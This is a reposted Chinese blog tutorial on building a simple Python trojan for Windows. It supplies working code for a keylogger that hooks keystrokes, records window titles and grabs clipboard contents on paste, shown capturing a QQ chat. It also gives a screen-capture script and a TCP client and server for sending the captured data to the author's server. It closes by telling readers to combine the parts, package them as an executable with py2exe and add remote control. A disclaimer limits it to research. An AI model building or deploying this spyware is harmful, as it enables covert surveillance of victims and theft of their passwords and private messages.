Python编程简单的木马程序(转载于乌云中)

电脑杂谈  发布时间:2020-11-05 23:00:35  来源:网络整理

木马程序编写教程_木马程序编写教程

Python编程简单的木马程序

light·2015/01/26 10:07

0x00准备好了

本文的内容仅用于研究和研究,不得用于非法目的!

这一次,我们使用Python编写了一个简单的木马,它具有关键日志记录,屏幕截图和通讯功能。仍然选择Sublime text2 + JEDI(python自动完成插件)按代码,JEDI插件的安装和配置可以参考此处:/ tips /?id = 4413

首先准备我们需要的依赖库,python钩子和pythoncom。

下载并安装python钩子

enter image description here

下载并安装pythoncom模块:

木马程序编写教程_木马程序编写教程

%20219 / pywin32-219.win32-py2.7.exe /下载

enter image description here

如果发现麻烦,可以直接使用Activepython的商业版本,该版本集成了我们需要的所有python库(我们可以使用他的免费版本):

0x01键盘记录器

说到键盘记录器,每个人的想法可能已经飞向具有wifi功能的微型硬件。除了高科技以外,我们暂时将回到本质上,以探索简单键盘记录器的原理和实现。

Python键盘记录器键盘记录功能的实现主要使用pythoncom和pythonhook,然后对Windows API进行各种调用。使用Python方便快捷的原因主要是由于这些庞大的支持库,即所谓的“寿命短,请快速使用Python”。

代码部分:

#!python
# -*- coding: utf-8 -*-  
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
# 
def get_current_process():
    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()
    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
    # 将进程ID存入变量中
    process_id = "%d" % pid.value
    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
    # 打印
    print 
    print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    print 
    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
# 定义击键事件函数
def KeyStroke(event):
    global current_window
    # 检测目标窗口是否转移(换了其他窗口就新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName
        # 函数调用
        get_current_process()
    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
        print chr(event.Ascii),
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    # 循环下一个击键事件
    return True
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

[知识点]挂钩:Windows消息处理机制的平台,应用程序可以在该平台上设置子例程以监视指定窗口的某些消息,并且可以由其他进程创建监视的窗口。

木马程序编写教程_木马程序编写教程

编写代码时,请务必注意严格区分大小写。检查错误后启动键盘记录器:

enter image description here

然后您可以尝试打开记事本并写一些东西,您可以看到我们的键盘记录器窗口正在实时记录我们的输入:

enter image description here

切换窗口时,它将自动跟踪到新窗口(受众:如果您没有此功能,您不敢打电话给键盘记录器!),莱特教授趁机骚扰了疯狗,您可以看到我们的键盘记录程序已经跟踪了QQ聊天窗口,并且忠实记录了我输入的所有内容。

enter image description here

0x02看看您在做什么:编写屏幕截图

截屏更容易实现,只需直接调用几个与gui相关的API,直接查看代码即可:

#!python
# -*- coding: utf-8 -*-  
import win32gui
import win32ui
import win32con
import win32api
# 获取桌面
hdesktop = win32gui.GetDesktopWindow()
# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# 将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

木马程序编写教程_木马程序编写教程

查看其工作原理:

enter image description here

0x03全面应用:完成一个简单的木马

无论是键盘记录器记录的内容还是屏幕截图程序截取的图片,仅存在于客户端都没有多大意义。我们需要构建一个简单的服务器和客户端,以进行通信并将记录的内容传输到我们的服务器上。

编写一个简单的TCPclient

#!python
# -*- coding: utf-8 -*- 
import socket
# 目标地址IP/URL及端口
target_host = "127.0.0.1"
target_port = 9999
# 创建一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 连接主机
client.connect((target_host,target_port))
# 发送数据
client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
# 接收响应
response = client.recv(4096)
print response

编写一个简单的TCPserver

#!python
# -*- coding: utf-8 -*- 
import socket
import threading
# 的IP及端口
bind_ip = "127.0.0.1"
bind_port = 9999
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
def handle_client(client_socket):
    request = client_socket.recv(1024)
    print "[*] Received:%s" % request
    client_socket.send("ok!")
    client_socket.close()
while True:
    client,addr = server.accept()
    print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
    client_handler = threading.Thread(target=handle_client,args=(client,))
    client_handler.start()

启用服务器监视:

木马程序编写教程_木马程序编写教程

enter image description here

客户端执行:

enter image description here

服务器接收到客户端的请求并做出响应:

0x04结论

最后,您需要做的就是结合以上三个模块,然后将一个带有键盘记录程序,屏幕截图和内容的简单木马发送到我们的服务器。您可以使用py2exe从脚本生成exe可执行文件。当然您可以继续播放,加上遥控功能。 Py2exe的用法可以在这里参考:

享受编码〜

参考文件:

“黑帽Python”

©五云知识库版权所有。禁止擅自转载


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/shouji/article-331182-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      • 覃紫锐
        覃紫锐

        后一条慢慢来

      • 天狐玉耀
        天狐玉耀

        豆子都是找大口塑料瓶子装着

      热点图片
      拼命载入中...